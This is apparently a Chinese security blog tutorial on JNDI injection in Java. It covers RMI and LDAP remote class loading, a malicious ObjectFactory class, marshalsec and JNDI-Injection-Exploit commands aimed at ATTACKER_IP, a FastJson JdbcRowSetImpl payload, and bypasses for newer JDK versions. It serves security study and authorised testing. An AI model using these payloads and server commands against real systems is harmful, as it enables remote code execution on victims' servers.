【JavaEE安全】JNDI 注入从原理到实战:RMI、LDAP 与高版本绕过
警告以下内容仅用于安全研究与授权测试未经许可的攻击行为属于违法行为。一、JNDI 注入核心原理1.1 什么是 JNDIJNDIJava Naming and Directory Interface是 Java 提供的一套统一 API用于在命名/目录服务如 RMI、LDAP、DNS 等中查找和访问资源。它的核心操作是InitialContext.lookup(String name)通过一个字符串名称来定位对象。1.2 什么是 JNDI 注入当应用程序对传入lookup()的name参数缺乏严格校验时攻击者可以构造恶意的 JNDI 引用如rmi://attacker.com/evil或ldap://attacker.com/evil诱使目标服务器从攻击者控制的服务器上加载并执行恶意类从而实现远程代码执行RCE。1.3 利用条件可控参数InitialContext.lookup()的参数可被用户输入控制。服务支持目标环境支持 RMI、LDAP 等 JNDI 服务实现。版本限制JDK 版本限制了攻击方式详见后文“高版本绕过”。二、JNDI 注入利用方式RMI LDAP2.1 核心机制Reference 与远程类加载JNDI 的Reference类是实现注入的关键它包含三个核心属性className要加载的类名。classFactory实例化工厂类名。classFactoryLocation远程类的下载地址如 HTTP 服务器。当目标服务器执行lookup()时会根据Reference的信息从指定地址下载并实例化恶意类。2.2 利用工具JNDI-Injection marshalsec2.2.1 JNDI-Injection-Exploit快速生成恶意 JNDI 地址直接执行系统命令。# 生成 RMI/LDAP 恶意地址执行 calc.exejava-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-Ccalc-AATTACKER_IP输出示例[] LDAP URL: ldap://ATTACKER_IP:1389/xxxxxx [] RMI URL: rmi://ATTACKER_IP:1099/xxxxxx2.2.2 marshalsec更灵活的工具可启动恶意 RMI/LDAP 引用服务器引导目标下载自定义恶意类。编写恶意类// Evil.javapublicclassEvilimplementsjavax.naming.spi.ObjectFactory{publicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable?,?environment)throwsException{Runtime.getRuntime().exec(calc);returnnull;}}编译javac Evil.java启动恶意 LDAP 服务器# 引导目标从 http://ATTACKER_IP/ 下载 Evil.classjava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://ATTACKER_IP/#Evil启动恶意 RMI 服务器java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://ATTACKER_IP/#Evil触发注入// 目标代码中存在可控的 lookup 调用newInitialContext().lookup(ldap://ATTACKER_IP:1389/Evil);三、实战案例与 FastJson 反序列化结合3.1 漏洞原理FastJson 在反序列化时会根据 JSON 中的type字段实例化对应类。当type指向com.sun.rowset.JdbcRowSetImpl时其setDataSourceName()方法会调用InitialContext.lookup()从而触发 JNDI 注入。3.2 攻击步骤判断环境构造畸形 JSON 触发报错确认 FastJson 版本及是否存在反序列化漏洞。生成恶意地址使用 JNDI-Injection-Exploit 生成 RMI 地址。构造 Payload{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://ATTACKER_IP:1099/Evil,autoCommit:true}提交 Payload将 JSON 数据提交至目标触发反序列化与 JNDI 注入执行代码。四、JDK 高版本注入绕过4.1 JDK 版本限制JDK 版本限制项影响6u45, 7u21useCodebaseOnlytrueRMI 禁用远程类加载6u132, 7u122, 8u113trustURLCodebasefalseRMI/CORBA 禁用远程 Codebase6u211, 7u201, 8u191ldap.object.trustURLCodebasefalseLDAP 禁用远程 Codebase4.2 绕过思路在高版本 JDK 中直接远程加载类的方式被封堵绕过方法主要有利用本地 Classpath 中的可利用类寻找目标环境 Classpath 中已存在的、可被利用的类如org.apache.naming.factory.BeanFactory通过Reference构造调用链间接执行代码。利用 LDAP 序列化对象marshalsec 等工具支持在 LDAP 响应中直接返回序列化对象。如果目标服务器存在反序列化漏洞如 Commons Collections则可以通过 LDAP 注入触发反序列化 RCE无需远程加载类。# marshalsec 启动 LDAP 服务器直接返回序列化 payloadjava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPServer五、总结与延伸JNDI 注入作为 Java 生态中经典的 RCE 利用链其核心在于利用lookup()对恶意引用的解析。从早期的 RMI/LDAP 远程类加载到与 FastJson 等反序列化漏洞的结合再到针对高版本 JDK 的绕过技术其利用方式不断演进。深入理解其原理和绕过技巧是掌握 Java 安全攻防的关键。参考链接https://blog.csdn.net/dupei/article/details/120534024https://www.mi1k7ea.com/2020/09/07/深入理解不同JDK版本的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

相关新闻

手把手教你用Stable Diffusion 3.5 FP8镜像生成第一张AI图片

手把手教你用Stable Diffusion 3.5 FP8镜像生成第一张AI图片

手把手教你用Stable Diffusion 3.5 FP8镜像生成第一张AI图片 想体验最新最强的AI绘画技术,但又担心自己的电脑配置不够,或者觉得本地部署太麻烦?今天,我要带你体验一种全新的方式——零门槛、免部署、开箱即用的Stable Diffusion…

2026/7/2 19:20:47 阅读更多 →
java.lang.*中Class 源代码详解【九】

java.lang.*中Class 源代码详解【九】

学习Java的同学注意了!!! 学习过程中遇到什么问题或者想获取学习资源的话,欢迎加入Java学习交流群,QQ群号码:543120397 我们一起学Java! java.lang.*中Class 源代码详解【九】public boolean is…

2026/7/3 16:41:56 阅读更多 →
vue路由的跳转方式有哪几种?

vue路由的跳转方式有哪几种?

Vue Router 的跳转方式主要分为 声明式导航 和 编程式导航 两大类&#xff0c;涵盖了日常开发中所有常见的路由跳转场景。下面我会详细讲解每种方式的用法、场景和注意事项&#xff0c;代码示例兼顾 Vue2 和 Vue3。一、声明式导航&#xff08;<router-link> 组件&#xf…

2026/7/5 0:39:09 阅读更多 →

最新新闻

OfflineInsiderEnroll:Windows Insider计划的终极离线管理解决方案

OfflineInsiderEnroll:Windows Insider计划的终极离线管理解决方案

OfflineInsiderEnroll&#xff1a;Windows Insider计划的终极离线管理解决方案 【免费下载链接】offlineinsiderenroll OfflineInsiderEnroll - A script to enable access to the Windows Insider Program on machines not signed in with Microsoft Account 项目地址: http…

2026/7/5 5:13:35 阅读更多 →
Pearcleaner:彻底告别macOS应用残留,让Mac重获新生的免费开源工具

Pearcleaner:彻底告别macOS应用残留,让Mac重获新生的免费开源工具

Pearcleaner&#xff1a;彻底告别macOS应用残留&#xff0c;让Mac重获新生的免费开源工具 【免费下载链接】Pearcleaner A free, source-available and fair-code licensed mac app cleaner 项目地址: https://gitcode.com/gh_mirrors/pe/Pearcleaner 你是否曾经在macOS…

2026/7/5 5:11:35 阅读更多 →
本地部署AI知识库:Ollama+LobeChat+AnythingLLM私有化RAG方案实践

本地部署AI知识库:Ollama+LobeChat+AnythingLLM私有化RAG方案实践

1. 项目概述&#xff1a;为什么要在本地折腾一套AI知识库&#xff1f;最近和不少同行聊起AI应用落地&#xff0c;大家普遍有个痛点&#xff1a;公司内部那些敏感的业务文档、技术方案、客户资料&#xff0c;谁敢直接往ChatGPT的对话框里贴&#xff1f;数据安全和隐私合规的顾虑…

2026/7/5 5:11:35 阅读更多 →
5分钟实现跨平台自动化:开源智能配置工具完全指南

5分钟实现跨平台自动化:开源智能配置工具完全指南

5分钟实现跨平台自动化&#xff1a;开源智能配置工具完全指南 【免费下载链接】brigadier Fetch and install Boot Camp ESDs with ease. 项目地址: https://gitcode.com/gh_mirrors/bri/brigadier 面对Mac设备在Windows系统下的驱动配置难题&#xff0c;传统手动方法往…

2026/7/5 5:09:27 阅读更多 →
终极免费岛屿设计工具:Happy Island Designer 快速入门指南

终极免费岛屿设计工具:Happy Island Designer 快速入门指南

终极免费岛屿设计工具&#xff1a;Happy Island Designer 快速入门指南 【免费下载链接】HappyIslandDesigner "Happy Island Designer (Alpha)"&#xff0c;是一个在线工具&#xff0c;它允许用户设计和定制自己的岛屿。这个工具是受游戏《动物森友会》(Animal Cros…

2026/7/5 5:09:27 阅读更多 →
智能驱动管理秘籍:5分钟搞定Mac Boot Camp跨平台自动化部署

智能驱动管理秘籍:5分钟搞定Mac Boot Camp跨平台自动化部署

智能驱动管理秘籍&#xff1a;5分钟搞定Mac Boot Camp跨平台自动化部署 【免费下载链接】brigadier Fetch and install Boot Camp ESDs with ease. 项目地址: https://gitcode.com/gh_mirrors/bri/brigadier 你是否曾在Mac上安装Windows系统时&#xff0c;为寻找合适的B…

2026/7/5 5:09:27 阅读更多 →

日新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools&#xff1a;5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱&#xff0c;支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里&#xff0c;参与了关于混合后量子密码学的讨论&#xff0c;应付端点攻击找茬的人&#xff0c;还参与留言板讨论后&#xff0c;发现“威胁模型”对多数人仍是陌生概念&#xff0c;且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”&#xff1a;我理解的渗透测试到底是什么&#xff1f;每次看到新闻里说某个大公司的数据被“黑”了&#xff0c;或者某个网站被攻击导致服务瘫痪&#xff0c;你是不是和我一样&#xff0c;心里会冒出两个念头&#xff1a;一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools&#xff1a;5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱&#xff0c;支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里&#xff0c;参与了关于混合后量子密码学的讨论&#xff0c;应付端点攻击找茬的人&#xff0c;还参与留言板讨论后&#xff0c;发现“威胁模型”对多数人仍是陌生概念&#xff0c;且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”&#xff1a;我理解的渗透测试到底是什么&#xff1f;每次看到新闻里说某个大公司的数据被“黑”了&#xff0c;或者某个网站被攻击导致服务瘫痪&#xff0c;你是不是和我一样&#xff0c;心里会冒出两个念头&#xff1a;一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

月新闻